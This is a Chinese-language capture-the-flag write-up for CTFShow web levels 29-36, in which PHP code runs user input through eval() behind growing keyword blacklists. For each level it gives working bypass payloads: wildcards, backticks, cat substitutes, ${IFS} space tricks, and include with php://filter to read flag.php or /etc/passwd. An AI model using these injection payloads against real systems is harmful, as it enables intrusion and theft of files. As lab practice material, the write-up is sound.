CTFShow-Web入門-命令執行 29-36
web29
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
過濾了 flag
①使用萬用字元
payload1:?c = system('cat f*');
payload2:?c = system('cat fla/g.php');
②利用eval函式
傳入:?c = echo "ss";?>ctf <?php system('ls');
看到有flag檔案,payload3:?c = echo "ss";?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.php
web30
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
過濾了 命令執行函式
命令執行函式如下
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引號 同shell_exec()
①利用反引號
payload1:?c = echo `fl*`;
②同上
payload2:?c = echo "ss";?>ctf <?php include($_GET['url']);&url=php://filter/read=convert.base64-encode/resource=flag.php
web31
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
過濾空格,單引號,cat等
空格繞過
> < <> 重定向符 %09(需要php環境) ${IFS} $IFS$9 {cat,flag.php} //用逗號實現了空格功能 %20 %09
cat繞過
more:一頁一頁的顯示檔案內容 less:與 more 類似 head:檢視頭幾行 tac:從最後一行開始顯示,可以看出 tac 是 cat 的反向顯示 tail:檢視尾幾行 nl:顯示的時候,順便輸出行號 od:以二進位制的方式讀取檔案內容 vi:一種編輯器,這個也可以檢視 vim:一種編輯器,這個也可以檢視 sort:可以檢視 uniq:可以檢視 file -f:報錯出具體內容
①
payload1: ?c=echo(tac%90f*);
②雙引號替換單引號
payload2: ?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php
web32
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
無需括號的函式
echo 666; print 666; die; include "/etc/passwd"; require "/etc/passwd"; include_once "/etc/passwd"; require_once "/etc/passwd";
繞過分號
?>
①
payload1:?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php
web33
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
過濾了雙引號
payload 同32
web34
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
過濾了冒號
payload 同32
web35
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
過濾了 雙引號 < =
payload 同32
web36
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
過濾了 反斜槓 和 數字
把數字 1 改成 字母 a
payload1:?c=include$_POST[a]?>
a=php://filter/read=convert.base64-encode/resource=flag.php